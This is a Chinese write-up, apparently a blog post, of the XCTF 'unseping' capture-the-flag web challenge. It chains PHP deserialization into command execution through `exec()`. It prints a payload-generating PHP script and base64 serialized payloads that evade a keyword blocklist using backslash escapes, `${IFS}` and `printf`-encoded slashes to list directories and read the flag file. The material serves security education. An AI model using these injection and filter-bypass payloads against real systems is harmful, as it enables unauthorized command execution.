攻防世界 - Web - Level 1 | unseping

发布于:2024-12-18 ⋅ 阅读:(43) ⋅ 点赞:(0)

关注这个靶场的其它相关笔记:攻防世界(XCTF) —— 靶场笔记合集-CSDN博客

0x01:Write UP

本关是一个 PHP 代码审计关卡,考察的是 PHP 反序列化漏洞以及命令执行的一些绕过手段,下面笔者将带你一步步过关。

代码审计,首先定位题目中的敏感函数,笔者这里定位到了如下函数:

 function ping($ip){
     exec($ip, $result); // exec 执行 $ip 传递来的命令,并将结果写入到 $result 中
     var_dump($result);  // 展示 $result 的内容
 }

看到 exec() 可以很容易想到本关的考察点就是命令执行漏洞。继续逆向审计,看看哪里有机会调用 ping() 函数,笔者将目光放到了这里:

 // __destruct() 当对象销毁时触发
 function __destruct(){
     // 如果 $this->method 为 ping 则会进入函数调用
     if (in_array($this->method, array("ping"))) {
         // call_user_func_array => 调用回调函数,并把 $this->args 数组传递过去作为参数
         call_user_func_array(array($this, $this->method), $this->args);
     }
 }

结合上面两个函数,很明显,我们要生成一个对象,并给这个对象的 $this->method 赋值为 ping,让其调用 function ping($ip) 函数,如果成功那么 $this->args 里就可以是我们赋值给它的任意的命令。

下面我们来看看题目类的构造方法(初始化方法):

 function __construct($method, $args) { // 构造方法,接收两个传参
     $this->method = $method; // 将 $method 传递到 $this->method 中
     $this->args = $args; // 将 $args 传递到 $this->args
 }

通过之前的分析,我们知道了,$method 我们要赋值为 ping$this->args 中就是我们进行命令执行的参数,我们的目标是获取 Flag,但是目前我们连 Flag 的位置都不知道,所以首先我们肯定是要先检查目标当前文件夹下的文件有啥的,所以我们想要执行的命令为 ls,即列出目标当前目录下的内容。这里还有一个注意点,$this->args 传递的是一个数组类型的数据,为啥?我们先来看一下 call_user_func_array() 函数的定义:

PHP 官方文档中写名的,该函数第一个接收的是回调函数,第二个接收的是参数数组。

所以,基于前面的一套分析,我们可以得出,我们需要实例化一个这样的对象:

 $ctf = new ease('ping', array('ls'));

所以,我们最终的题解模板程序如下所示:

 <?php
 class ease{
     
     private $method;
     private $args;
     function __construct($method, $args) {
         $this->method = $method;
         $this->args = $args;
     }
  
     function __destruct(){
         if (in_array($this->method, array("ping"))) { // 如果 $this->method 为 ping 则进行调用
             call_user_func_array(array($this, $this->method), $this->args); // 调用回调函数 $this->args 是传参
             // $this 即 ease 这个对象, $this->method 你想要调用的 ease 类中的函数名 => ping
         }
     } 
  
     function ping($ip){
         exec($ip, $result); // 让 exec 执行我们传入的命令,并将结果传入 $result 中
         var_dump($result);  // 展示结果 => 考点,命令执行
     }
 ​
     function waf($str){
         if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
             return $str;
         } else {
             echo "don't hack";
         }
     }
  
     function __wakeup(){ // 执行 unserialize 调用此方法
         foreach($this->args as $k => $v) {
             $this->args[$k] = $this->waf($v);
         }
     }   
 }
 ​
 $ctf = new ease('ping', array('ls'));
 echo base64_encode(serialize($ctf)); // 运行代码,这里会显示序列化解
 echo "\n";
 // $ctf=@$_POST['ctf'];
 // @unserialize(base64_decode($ctf));
 ?>

下面我们一步一步为我们的命令执行扫清障碍。通过上面的题解代码,运行后我们会得到一个进行 Base64 编码后的 ease 对象的序列化内容,当目标服务端接收后,会执行反序列化操作。

首先进入 __wakeup() 函数,该函数会调用 waf() 方法,将我们传递的 array() 数组中的每一个元素都过一遍 WAF,如果出现黑名单字符,就会输出 don't hack,反之则会返回。

我们将要执行的 ls 很明显在黑名单中,绕过很简单,使用 \ 即可,在 Linux 操作系统中 lsl\s 是等价的:

所以,我们可以使用如下对象构建序列化内容执行 ls 命令:

 $ctf = new ease('ping', array('l\s'));
 echo base64_encode(serialize($ctf));
 // 结果: Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozOiJsXHMiO319

如上,我们成功得到了 Flag 的存放地址,此时注意了页面显示的 flag_1s_here 是个文件夹不是文件哦(笔者偷懒少测一步,不信你 cat 一下这个文件,你啥也读不到,还会怀疑自己)。

知道了 Flag 存放的文件夹,下面我们要去读取这个文件夹下面的内容,使用 l\s flag_1s_here 构建序列化内容读取?你会发现,上面那个命令中空格与 flag 都是黑名单内容,这里又考察了命令执行的空格绕过。在 Linux 系统中,我们可以使用 ${IFS}进行空格的绕过。所以修改后的 Payload 如下:

 $ctf = new ease('ping', array('l\s${IFS}f\lag_1s_here'));
 echo base64_encode(serialize($ctf));
 // 结果: Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyMjoibFxzJHtJRlN9ZlxsYWdfMXNfaGVyZSI7fX0=

至此,我们已经成功获得 Flag 的文件地址:

 flag_1s_here/flag_831b69012c67b35f.php

然后问题又来了,/ 也被过滤了。咋搞,这里我们需要使用 Linux 内联代码进行绕过,先来看个 / 的等价写法:

所以我们最终的题解 Payload 如下:

 $ctf = new ease('ping', array('c\at${IFS}f\lag_1s_here$(printf${IFS}"\57")f\lag_831b69012c67b35f.p\hp'));
 echo base64_encode(serialize($ctf));
 // 结果: Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3MDoiY1xhdCR7SUZTfWZcbGFnXzFzX2hlcmUkKHByaW50ZiR7SUZTfSJcNTciKWZcbGFnXzgzMWI2OTAxMmM2N2IzNWYucFxocCI7fX0=

0x02:参考链接

$IFS - A思 - 博客园$IFS 是linux中的命令 $IFS默认指定space,tab,换行 也可以自己指定$IFS,例:IFS='&' $IFS可以把多个符号和并,如下: mm=11&&22&&33, echo $mm; //11 22 33,实际是11&https://www.cnblogs.com/AAsisi/p/16316774.html
shell中的$IFS变量和$*-CSDN博客文章浏览阅读5.4k次,点赞7次,收藏21次。IFS表示 Internal Field Separator(内部字段分隔符)_$ifshttps://blog.csdn.net/lilongsy/article/details/108239183